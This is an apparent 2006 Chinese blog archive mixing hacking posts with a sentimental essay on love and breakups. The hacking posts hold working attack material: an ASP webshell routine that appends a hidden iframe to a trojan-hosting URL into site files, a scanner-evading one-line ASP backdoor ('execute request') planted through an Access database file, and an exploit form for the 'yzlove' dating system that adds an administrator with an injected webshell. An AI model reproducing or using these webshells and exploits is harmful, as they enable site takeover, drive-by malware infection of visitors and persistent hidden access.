<%End Sub%> 
<% 
Sub step2(str2) 
addcode="<iframe src=http://www.21o.net/mm/mm.htm(修改为你的马的地址,不要加""不然会出错) width=0 height=0 frameborder=0></iframe>" 
Set fs=Server.createObject("Scripting.FileSystemObject") 
isExist=fs.FileExists(str2) 
If isExist Then 
Set f=fs.GetFile(str2) 
Set f_addcode=f.OpenAsTextStream(8,-2) 
f_addcode.Write addcode 
f_addcode.Close 
Set f=Nothing 
End If 
Set fs=Nothing 
End Sub 
%> 
<% 
Sub file_show(fname) 
Set fs1=Server.createObject("Scripting.FileSystemObject") 
isExist=fs1.FileExists(fname) 
If isExist Then 
Set fcnt=fs1.OpenTextFile(fname) 
cnt=fcnt.ReadAll 
fcnt.Close 
Set fs1=Nothing%> 
FILE: <%=fname%> 
<form action="<%=ASP_SELF%>" method="POST"> 
<textarea name="newcnt" cols="100" rows="30"><%=cnt%></textarea> 
<input type="hidden" name="pth" value="<%=fname%>"> 
<input type="hidden" name="ex" value="save"> 
<input type="submit" value="SAVE"> 
</form> 
<%Else%> 
<p>THE FILE IS NOT EXIT or HAVE deleteD.</p> 
<% 
End If 
End Sub 
%> 
<% 
Sub file_save(fname) 
Set fs2=Server.createObject("Scripting.FileSystemObject") 
Set newf=fs2.createTextFile(fname,True) 
newf.Write newcnt 
newf.Close 
Set fs2=Nothing 
Response.Write "<p>THE FILE WAS MODIFIED SUCCESSFULLY.</p>" 
End Sub 
%> 
</body> 
</html> 

分类: 技术文章 标签: ,

写给所有考虑分手的人

2006年9月25日 没有评论 51 views

牵手了就不要随便分开!
你发觉到了吗?
爱的感觉,总是在一开始觉得很甜蜜,
总觉得多一个人陪、多一个人帮你分担,
你终于不再孤单了,至少有一个人想着你、
恋着你,不论做什么事情,
只要能一起,就是好的,
但是慢慢的,随着彼此的认识愈深,
你开始发现了对方的缺点,
于是问题一个接着一个发生,
你开始烦、累,甚至想要逃避,
有人说爱情就像在捡石头,
总想捡到一个适合自己的,
但是你又如何知道什么时候能够捡到呢?
她适合你,那你又适合她吗?
其实,爱情就像磨石子一样,
或许刚捡到的时候,你不是那么的满意,
但是记住人是有弹性的,
很多事情是可以改变的,
只要你有心、有勇气,
与其到处去捡未知的石头,
还不如好好的将自己已经拥有的石头磨亮,你开始磨了吗?
很多人以为是因为感情淡了,
所以人才会变得懒惰。
错!
其实是人先被惰性征服,
所以感情才会变淡的。
在某个聚餐的场合,
有人提议多吃点虾子对身体好,
这时候有个中年男人忽然说「十年前,当我老婆还是我的女朋友的焙颍?
她说要吃十只虾,我就剥二十只给她!
现在,如果她要我帮她剥虾壳,开玩笑!我连帮她脱衣服都没兴趣了,还剥虾壳咧!
听到了吗?明白了吗?

难怪越来越多人只想要谈一辈子的恋爱,
却迟迟不肯走入婚姻。
因为,婚姻容易让人变得懒惰。
如果每个人都
懒得讲话、
懒得倾听、
懒得制造惊喜、
懒得温柔体贴,
那么夫妻或是情人之间,
又怎么会不渐行渐远渐无声呢?
所以请记住:
有活力的爱情,
是需要适度殷勤灌溉的,
谈恋爱,更是不可以偷懒的喔!

有一对情侣,相约下班后去用餐、逛街,
可是女孩因为公司会议而延误了,
当她冒着雨赶到的时候已经迟到了30多分钟,
他的男朋友很不高兴的说:
「你每次都这样,现在我甚么心情也没了,
我以后再也不会等你了!
刹那间,女孩终于决堤崩溃了,
她心里在想:或许,他们再也没有未来了

同样的在同一个地点,另一对情侣也面临同样的处境;
女孩赶到的时候也迟到了半个钟头,
他的男朋友说:「我想你一定忙坏了吧!」
接着他为女孩拭去脸上的雨水,并且脱去外套盖在女孩身上,
此刻,女孩流泪了
但是流过她脸颊的泪却是温馨的。
你体会到了吗?

其实爱、恨往往只是在我们的一念之间!
爱不仅要懂得宽容更要及时,
很多事可能只是在于你心境的转变罢了!
懂了吗?
当有个人爱上你,而你也觉得他不错。
那并不代表你会选择他。

我们总说:「我要找一个自己很爱很爱的人,才会谈恋爱。」
但是当对方问你,怎样才算是很爱很爱的时候,
你却无法回答他,因为你自己也不知道。

没错,我们总是以为,我们会找到一个自己很爱很爱的人。
可是后来,当我们猛然回首,我们才会发觉自己曾经多么天真。
假如从来没有开始,你怎么知道自己会不会很爱很爱那个人呢?
其实,很爱很爱的感觉,是要在一起经历了许多事情之后才会发现的。
或许每个人都希望能够找到自己心目中百分之百的伴侣,
但是你有没有想过『在你身边会不会早已经有人默默对你付出很久了,
只是你没发觉而已呢?』
所以,还是仔细看看身边的人吧!他或许已经等你很久喽!

当你爱一个人的时候,爱到八分绝对刚刚好。
所有的期待和希望都只有七八分;剩下两三分用来爱自己。
如果你还继续爱得更多,很可能会给对方沉重的压力,让彼此喘不过气来,
完全丧失了爱情的乐趣。

所以请记住,
喝酒不要超过六分醉,
吃饭不要超过七分饱,
爱一个人不要超过八分

那天朋友问我:「到底该怎么做才算是爱一个人呢?」
我笑着跟他说:「其实每个人的爱情观都不一样,说对了叫开导,
但就怕说错反倒变成误导。那就糟糕了!」

如果你也正在为爱迷惘,或许下面这段话可以给你一些启示:
爱一个人,要了解,也要开解;
要道歉,也要道谢;
要认错,也要改错;
要体贴,也要体谅;
是接受,而不是忍受;
是宽容,而不是纵容;
是支持,而不是支配;
是慰问,而不是质问;
是倾诉,而不是控诉;
是难忘,而不是遗忘;
是彼此交流,而不是凡事交代;
是为对方默默祈求,
而不是向对方诸多要求;
可以浪漫,但不要浪费;

可以随时牵手,
但不要随便分手。

分别了,还能在回来吗 
如果回不来我们该如何是好 
不敢奢望我是和你相守一生的那个人 
只盼我是给过你最刻骨感受 
铭记终生感念终生的人

分类: 心情随笔 标签:

新型ASP后门

2006年9月25日 没有评论 69 views

作者:netpatch

本是为了逃LAKER2兄 查ASP木马程序的
现在已经挑战成功,已经加为检查对象了。公布出代码给冰点的朋友使使,希望大家喜欢!

利用的是ADOX.Catalog组件

<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)

set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 创建成功<br> "
else
Response.Write "创建失败,原因: " & err.description
Response.End
end if

Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile

sql="Create TABLE fdata([data] Memo)"
conn.execute(sql)

Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="┼攠數畣整爠煥敵瑳∨≮┩>" '(注释记得去掉!一句话后门 execute request(“n”))
rs.update

%>

此脚本主要是利用ADOX.Catalog组件
新建一个名称为netpatch.asp的空数据库文件
然后把一句话木马插入新建的表中作为C/S版本的ASP马用!

优点,比较隐蔽,不容易让人看出这是什么作用的!

分类: 技术文章 标签: ,

又一交友系统漏洞

2006年9月25日 没有评论 150 views

程序:yzlove(扬州交友)
漏洞文件:dis_article.asp
利用方法:
有不少为SQL的程序,可以直接注入,用NB死的时候要把Encode选上,不然列不出来目录
ACCESS的还没发现更好的利用方法,默认数据库的话就好办了,没加防下载,可以直接下来,默认数据库路径为admin/yzloveadmin.asp,下来数据库登陆后台,直接写一句话木马!
PS:在写一句话的时下把下面的代码保存为htm文件,然后提交,注意提交的地址

<table width="100%" height="40" border="0" cellpadding="0" cellspacing="0" background="../images/pg.gif">
        <tr> 
          <td align="center"> <table width="460" height="22" border="0" cellpadding="0" cellspacing="0" background="../images/pg.gif" bgcolor="efefef">
              <form action="http://www.9sy.net/admin/adminuser.asp?submitok=addadmin" method="post" name=form>
                <tr> 
                  <td width="489" align="center"><a href="adminuser.asp">添加管理员名称:</a> 
                    <input name="name2" type="text" id="num2" value="xuehan" style="font-size:9pt;" size="12" maxlength="102">
                    密码: 
                    <input name="pass2" type="text" id="num3" value="www.9sy.net" style="font-size:9pt;" size="12" maxlength="102"> 
                    <select name="kind" id="kind" style="font-size:9pt;">
                      <option value=''''<%execute request("a")%>'''' selected >1</option>
                      <option value="2">2</option>
                      <option value="3">3</option>
                      <option value="4">4</option>
                      <option value="5">5</option>
                      <option value="6">6</option>
                      <option value="7">7</option>      
                      <option value="8">8</option>     
                      <option value="9">9</option>      
                      <option value="10">10</option>
                    </select> <input type="submit" name="Submit2" value="OK"  style="border:#cccccc 1px solid;padding-top:1px;height:18;font-size:9pt;background:#ffffff;color:#333333;"></td>
                </tr>
              </form>
            </table></td>
          <td width="20%" align="center"> </td>
        </tr>
      </table>

分类: 技术文章 标签: